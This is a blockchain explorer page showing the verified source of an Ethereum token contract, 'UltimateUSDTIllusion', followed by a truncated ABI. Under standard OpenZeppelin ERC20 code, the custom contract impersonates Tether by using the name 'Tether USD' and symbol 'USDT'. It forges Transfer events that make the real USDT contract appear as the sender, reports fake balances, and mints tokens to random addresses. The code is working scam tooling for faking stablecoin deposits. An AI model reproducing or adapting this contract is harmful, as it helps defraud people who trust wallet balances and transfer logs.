ETH Price: $2,251.71 (+6.90%)

Token

ERC20 ***
 

Overview

Max Total Supply

113,000,000 ERC20 ***

Holders

104

Market

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 6 Decimals)

Filtered by Token Holder
0x: Allowance Holder
Balance
2,000,000 ERC20 ***

Value
$0.00
0x0000000000001fF3684f28c67538d4D072C22734
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
UltimateUSDTIllusion

Compiler Version
v0.8.28+commit.7893614a

Optimization Enabled:
Yes with 200 runs

Other Settings:
london EvmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2025-06-02
*/

// File: @openzeppelin/contracts/token/ERC20/IERC20.sol


// OpenZeppelin Contracts (last updated v5.1.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.20;

/**
 * @dev Interface of the ERC-20 standard as defined in the ERC.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the value of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the value of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves a `value` amount of tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 value) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets a `value` amount of tokens as the allowance of `spender` over the
     * caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 value) external returns (bool);

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to` using the
     * allowance mechanism. `value` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 value) external returns (bool);
}

// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol


// OpenZeppelin Contracts (last updated v5.1.0) (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.20;


/**
 * @dev Interface for the optional metadata functions from the ERC-20 standard.
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

// File: @openzeppelin/contracts/utils/Context.sol


// OpenZeppelin Contracts (last updated v5.0.1) (utils/Context.sol)

pragma solidity ^0.8.20;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function _contextSuffixLength() internal view virtual returns (uint256) {
        return 0;
    }
}

// File: @openzeppelin/contracts/interfaces/draft-IERC6093.sol


// OpenZeppelin Contracts (last updated v5.1.0) (interfaces/draft-IERC6093.sol)
pragma solidity ^0.8.20;

/**
 * @dev Standard ERC-20 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC-20 tokens.
 */
interface IERC20Errors {
    /**
     * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param balance Current balance for the interacting account.
     * @param needed Minimum amount required to perform a transfer.
     */
    error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC20InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token `receiver`. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC20InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the `spender`’s `allowance`. Used in transfers.
     * @param spender Address that may be allowed to operate on tokens without being their owner.
     * @param allowance Amount of tokens a `spender` is allowed to operate with.
     * @param needed Minimum amount required to perform a transfer.
     */
    error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);

    /**
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC20InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the `spender` to be approved. Used in approvals.
     * @param spender Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC20InvalidSpender(address spender);
}

/**
 * @dev Standard ERC-721 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC-721 tokens.
 */
interface IERC721Errors {
    /**
     * @dev Indicates that an address can't be an owner. For example, `address(0)` is a forbidden owner in ERC-20.
     * Used in balance queries.
     * @param owner Address of the current owner of a token.
     */
    error ERC721InvalidOwner(address owner);

    /**
     * @dev Indicates a `tokenId` whose `owner` is the zero address.
     * @param tokenId Identifier number of a token.
     */
    error ERC721NonexistentToken(uint256 tokenId);

    /**
     * @dev Indicates an error related to the ownership over a particular token. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param tokenId Identifier number of a token.
     * @param owner Address of the current owner of a token.
     */
    error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner);

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC721InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token `receiver`. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC721InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the `operator`’s approval. Used in transfers.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     * @param tokenId Identifier number of a token.
     */
    error ERC721InsufficientApproval(address operator, uint256 tokenId);

    /**
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC721InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the `operator` to be approved. Used in approvals.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC721InvalidOperator(address operator);
}

/**
 * @dev Standard ERC-1155 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC-1155 tokens.
 */
interface IERC1155Errors {
    /**
     * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param balance Current balance for the interacting account.
     * @param needed Minimum amount required to perform a transfer.
     * @param tokenId Identifier number of a token.
     */
    error ERC1155InsufficientBalance(address sender, uint256 balance, uint256 needed, uint256 tokenId);

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC1155InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token `receiver`. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC1155InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the `operator`’s approval. Used in transfers.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     * @param owner Address of the current owner of a token.
     */
    error ERC1155MissingApprovalForAll(address operator, address owner);

    /**
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC1155InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the `operator` to be approved. Used in approvals.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC1155InvalidOperator(address operator);

    /**
     * @dev Indicates an array length mismatch between ids and values in a safeBatchTransferFrom operation.
     * Used in batch transfers.
     * @param idsLength Length of the array of token identifiers
     * @param valuesLength Length of the array of token amounts
     */
    error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength);
}

// File: @openzeppelin/contracts/token/ERC20/ERC20.sol


// OpenZeppelin Contracts (last updated v5.3.0) (token/ERC20/ERC20.sol)

pragma solidity ^0.8.20;





/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * The default value of {decimals} is 18. To change this, you should override
 * this function so it returns a different value.
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC-20
 * applications.
 */
abstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {
    mapping(address account => uint256) private _balances;

    mapping(address account => mapping(address spender => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * Both values are immutable: they can only be set once during construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the default value returned by this function, unless
     * it's overridden.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `value`.
     */
    function transfer(address to, uint256 value) public virtual returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, value);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `value` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 value) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, value);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Skips emitting an {Approval} event indicating an allowance update. This is not
     * required by the ERC. See {xref-ERC20-_approve-address-address-uint256-bool-}[_approve].
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `value`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `value`.
     */
    function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, value);
        _transfer(from, to, value);
        return true;
    }

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead.
     */
    function _transfer(address from, address to, uint256 value) internal {
        if (from == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        if (to == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        _update(from, to, value);
    }

    /**
     * @dev Transfers a `value` amount of tokens from `from` to `to`, or alternatively mints (or burns) if `from`
     * (or `to`) is the zero address. All customizations to transfers, mints, and burns should be done by overriding
     * this function.
     *
     * Emits a {Transfer} event.
     */
    function _update(address from, address to, uint256 value) internal virtual {
        if (from == address(0)) {
            // Overflow check required: The rest of the code assumes that totalSupply never overflows
            _totalSupply += value;
        } else {
            uint256 fromBalance = _balances[from];
            if (fromBalance < value) {
                revert ERC20InsufficientBalance(from, fromBalance, value);
            }
            unchecked {
                // Overflow not possible: value <= fromBalance <= totalSupply.
                _balances[from] = fromBalance - value;
            }
        }

        if (to == address(0)) {
            unchecked {
                // Overflow not possible: value <= totalSupply or value <= fromBalance <= totalSupply.
                _totalSupply -= value;
            }
        } else {
            unchecked {
                // Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256.
                _balances[to] += value;
            }
        }

        emit Transfer(from, to, value);
    }

    /**
     * @dev Creates a `value` amount of tokens and assigns them to `account`, by transferring it from address(0).
     * Relies on the `_update` mechanism
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead.
     */
    function _mint(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        _update(address(0), account, value);
    }

    /**
     * @dev Destroys a `value` amount of tokens from `account`, lowering the total supply.
     * Relies on the `_update` mechanism.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead
     */
    function _burn(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        _update(account, address(0), value);
    }

    /**
     * @dev Sets `value` as the allowance of `spender` over the `owner`'s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     *
     * Overrides to this logic should be done to the variant with an additional `bool emitEvent` argument.
     */
    function _approve(address owner, address spender, uint256 value) internal {
        _approve(owner, spender, value, true);
    }

    /**
     * @dev Variant of {_approve} with an optional flag to enable or disable the {Approval} event.
     *
     * By default (when calling {_approve}) the flag is set to true. On the other hand, approval changes made by
     * `_spendAllowance` during the `transferFrom` operation set the flag to false. This saves gas by not emitting any
     * `Approval` event during `transferFrom` operations.
     *
     * Anyone who wishes to continue emitting `Approval` events on the`transferFrom` operation can force the flag to
     * true using the following override:
     *
     * ```solidity
     * function _approve(address owner, address spender, uint256 value, bool) internal virtual override {
     *     super._approve(owner, spender, value, true);
     * }
     * ```
     *
     * Requirements are the same as {_approve}.
     */
    function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual {
        if (owner == address(0)) {
            revert ERC20InvalidApprover(address(0));
        }
        if (spender == address(0)) {
            revert ERC20InvalidSpender(address(0));
        }
        _allowances[owner][spender] = value;
        if (emitEvent) {
            emit Approval(owner, spender, value);
        }
    }

    /**
     * @dev Updates `owner`'s allowance for `spender` based on spent `value`.
     *
     * Does not update the allowance value in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Does not emit an {Approval} event.
     */
    function _spendAllowance(address owner, address spender, uint256 value) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance < type(uint256).max) {
            if (currentAllowance < value) {
                revert ERC20InsufficientAllowance(spender, currentAllowance, value);
            }
            unchecked {
                _approve(owner, spender, currentAllowance - value, false);
            }
        }
    }
}

// File: @openzeppelin/contracts/utils/Errors.sol


// OpenZeppelin Contracts (last updated v5.1.0) (utils/Errors.sol)

pragma solidity ^0.8.20;

/**
 * @dev Collection of common custom errors used in multiple contracts
 *
 * IMPORTANT: Backwards compatibility is not guaranteed in future versions of the library.
 * It is recommended to avoid relying on the error API for critical functionality.
 *
 * _Available since v5.1._
 */
library Errors {
    /**
     * @dev The ETH balance of the account is not enough to perform the operation.
     */
    error InsufficientBalance(uint256 balance, uint256 needed);

    /**
     * @dev A call to an address target failed. The target may have reverted.
     */
    error FailedCall();

    /**
     * @dev The deployment failed.
     */
    error FailedDeployment();

    /**
     * @dev A necessary precompile is missing.
     */
    error MissingPrecompile(address);
}

// File: @openzeppelin/contracts/utils/Address.sol


// OpenZeppelin Contracts (last updated v5.2.0) (utils/Address.sol)

pragma solidity ^0.8.20;


/**
 * @dev Collection of functions related to the address type
 */
library Address {
    /**
     * @dev There's no code at `target` (it is not a contract).
     */
    error AddressEmptyCode(address target);

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.8.20/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        if (address(this).balance < amount) {
            revert Errors.InsufficientBalance(address(this).balance, amount);
        }

        (bool success, bytes memory returndata) = recipient.call{value: amount}("");
        if (!success) {
            _revert(returndata);
        }
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain `call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason or custom error, it is bubbled
     * up by this function (like regular Solidity function calls). However, if
     * the call reverted with no returned reason, this function reverts with a
     * {Errors.FailedCall} error.
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     */
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     */
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        if (address(this).balance < value) {
            revert Errors.InsufficientBalance(address(this).balance, value);
        }
        (bool success, bytes memory returndata) = target.call{value: value}(data);
        return verifyCallResultFromTarget(target, success, returndata);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a static call.
     */
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        (bool success, bytes memory returndata) = target.staticcall(data);
        return verifyCallResultFromTarget(target, success, returndata);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a delegate call.
     */
    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return verifyCallResultFromTarget(target, success, returndata);
    }

    /**
     * @dev Tool to verify that a low level call to smart-contract was successful, and reverts if the target
     * was not a contract or bubbling up the revert reason (falling back to {Errors.FailedCall}) in case
     * of an unsuccessful call.
     */
    function verifyCallResultFromTarget(
        address target,
        bool success,
        bytes memory returndata
    ) internal view returns (bytes memory) {
        if (!success) {
            _revert(returndata);
        } else {
            // only check if target is a contract if the call was successful and the return data is empty
            // otherwise we already know that it was a contract
            if (returndata.length == 0 && target.code.length == 0) {
                revert AddressEmptyCode(target);
            }
            return returndata;
        }
    }

    /**
     * @dev Tool to verify that a low level call was successful, and reverts if it wasn't, either by bubbling the
     * revert reason or with a default {Errors.FailedCall} error.
     */
    function verifyCallResult(bool success, bytes memory returndata) internal pure returns (bytes memory) {
        if (!success) {
            _revert(returndata);
        } else {
            return returndata;
        }
    }

    /**
     * @dev Reverts with returndata if present. Otherwise reverts with {Errors.FailedCall}.
     */
    function _revert(bytes memory returndata) private pure {
        // Look for revert reason and bubble it up if present
        if (returndata.length > 0) {
            // The easiest way to bubble the revert reason is using memory via assembly
            assembly ("memory-safe") {
                let returndata_size := mload(returndata)
                revert(add(32, returndata), returndata_size)
            }
        } else {
            revert Errors.FailedCall();
        }
    }
}

// File: contracts/USDT/UltimateUSDTIllusion.sol


pragma solidity ^0.8.0;



contract UltimateUSDTIllusion is ERC20 {
    using Address for address;

    address public constant realUSDT = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
    address public fakePair;
    address public eventEmitter;
    bool public initialized;
    uint256 public lastSyncTimestamp;

    mapping(address => uint256) public fakeBalances;

    event Initialized(address indexed fakePair);

    modifier whenInitialized() {
        require(initialized, "Not initialized");
        _;
    }

    modifier cooldown() {
        require(block.timestamp >= lastSyncTimestamp + 120, "Sync cooldown active");
        _;
    }

    constructor(address _eventEmitter) ERC20("Tether USD", "USDT") {
        require(_eventEmitter != address(0), "Invalid event emitter address");
        eventEmitter = _eventEmitter;
    }

    function symbol() public pure override returns (string memory) {
        return "USDT";
    }

    function decimals() public pure override returns (uint8) {
        return 6;
    }

    function pairAddress() public view returns (address) {
        return fakePair;
    }

    function initialize(address _fakePair) external {
        require(!initialized, "Already initialized");
        require(_fakePair != address(0), "Invalid fake pair address");
        initialized = true;
        fakePair = _fakePair;
        _forceMetadataSync();
        emit Initialized(_fakePair);
    }

    function _forceMetadataSync() internal cooldown {
        lastSyncTimestamp = block.timestamp;
        uint256 randomAmount = uint256(keccak256(abi.encodePacked(block.timestamp, msg.sender))) % 100 * 10**6 + 1;
        _emitConsistentEvents(msg.sender, randomAmount);
        (bool success, ) = eventEmitter.call(
            abi.encodeWithSignature("emitTransfer(address,address,uint256)", realUSDT, msg.sender, randomAmount)
        );
        require(success, "Event emission failed");
    }

    function _emitConsistentEvents(address to, uint256 amount) internal {
        (bool success, ) = eventEmitter.call(
            abi.encodeWithSignature("emitTransfer(address,address,uint256)", realUSDT, to, amount)
        );
        require(success, "Event emission failed");
    }

    function emitFakeTransfer(address to, uint256 amount) internal {
        require(to != address(0), "Invalid recipient");
        require(amount > 0, "Invalid amount");
        fakeBalances[to] += amount;
        _emitConsistentEvents(to, amount);
    }

    function balanceOf(address account) public view override returns (uint256) {
        return fakeBalances[account];
    }

    function crossChainBalanceOf(address user) public view returns (uint256) {
        return fakeBalances[user];
    }

    function mint(address target) external whenInitialized {
        require(target != address(0), "Invalid target");
        uint256 amount = 1000000 * 10**6;
        _mint(target, amount);
        emitFakeTransfer(target, amount);
        _forceMetadataSync();
    }

    function transfer(address to, uint256 amount) public override whenInitialized returns (bool) {
        require(to != address(0), "Invalid recipient");
        emitFakeTransfer(to, amount);
        _transfer(msg.sender, to, amount);
        if (fakePair != address(0)) {
            (bool success, ) = fakePair.call(
                abi.encodeWithSignature("updateActivity(address,uint256)", to, amount)
            );
            if (!success) {
                (bool eventSuccess, ) = eventEmitter.call(
                    abi.encodeWithSignature("emitFailedUpdateActivity(address,string)", fakePair, "Update activity failed")
                );
                require(eventSuccess, "Failed to emit update failure event");
            }
        }
        _forceMetadataSync();
        return true;
    }

    function periodicSync(address[] memory targets, uint256[] memory amounts) external whenInitialized {
        require(targets.length == amounts.length, "Array length mismatch");
        require(targets.length <= 10, "Too many targets, max 10 allowed");
        for (uint256 i = 0; i < targets.length; i++) {
            require(targets[i] != address(0), "Invalid target");
            emitFakeTransfer(targets[i], amounts[i]);
            _mint(targets[i], amounts[i]);
        }
        _forceMetadataSync();
    }

    function autoChainSync(uint256 maxTargets) external whenInitialized cooldown {
        require(maxTargets <= 10, "Too many targets");
        address[] memory targets = new address[](maxTargets);
        uint256[] memory amounts = new uint256[](maxTargets);
        uint256 seed = uint256(keccak256(abi.encodePacked(block.timestamp, msg.sender)));
        for (uint256 i = 0; i < maxTargets; i++) {
            targets[i] = address(uint160(uint256(keccak256(abi.encodePacked(seed, i)))));
            amounts[i] = (seed % 999999) * 10*6 + 10*6;
            emitFakeTransfer(targets[i], amounts[i]);
            fakeBalances[targets[i]] += amounts[i];
            _mint(targets[i], amounts[i]);
        }
        _forceMetadataSync();
}
}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"address","name":"_eventEmitter","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"allowance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientAllowance","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"balance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientBalance","type":"error"},{"inputs":[{"internalType":"address","name":"approver","type":"address"}],"name":"ERC20InvalidApprover","type":"error"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"}],"name":"ERC20InvalidReceiver","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"ERC20InvalidSender","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"ERC20InvalidSpender","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"fakePair","type":"address"}],"name":"Initialized","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTargets","type":"uint256"}],"name":"autoChainSync","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"}],"name":"crossChainBalanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"eventEmitter","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"fakeBalances","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"fakePair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_fakePair","type":"address"}],"name":"initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialized","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastSyncTimestamp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"target","type":"address"}],"name":"mint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pairAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"targets","type":"address[]"},{"internalType":"uint256[]","name":"amounts","type":"uint256[]"}],"name":"periodicSync","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"realUSDT","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{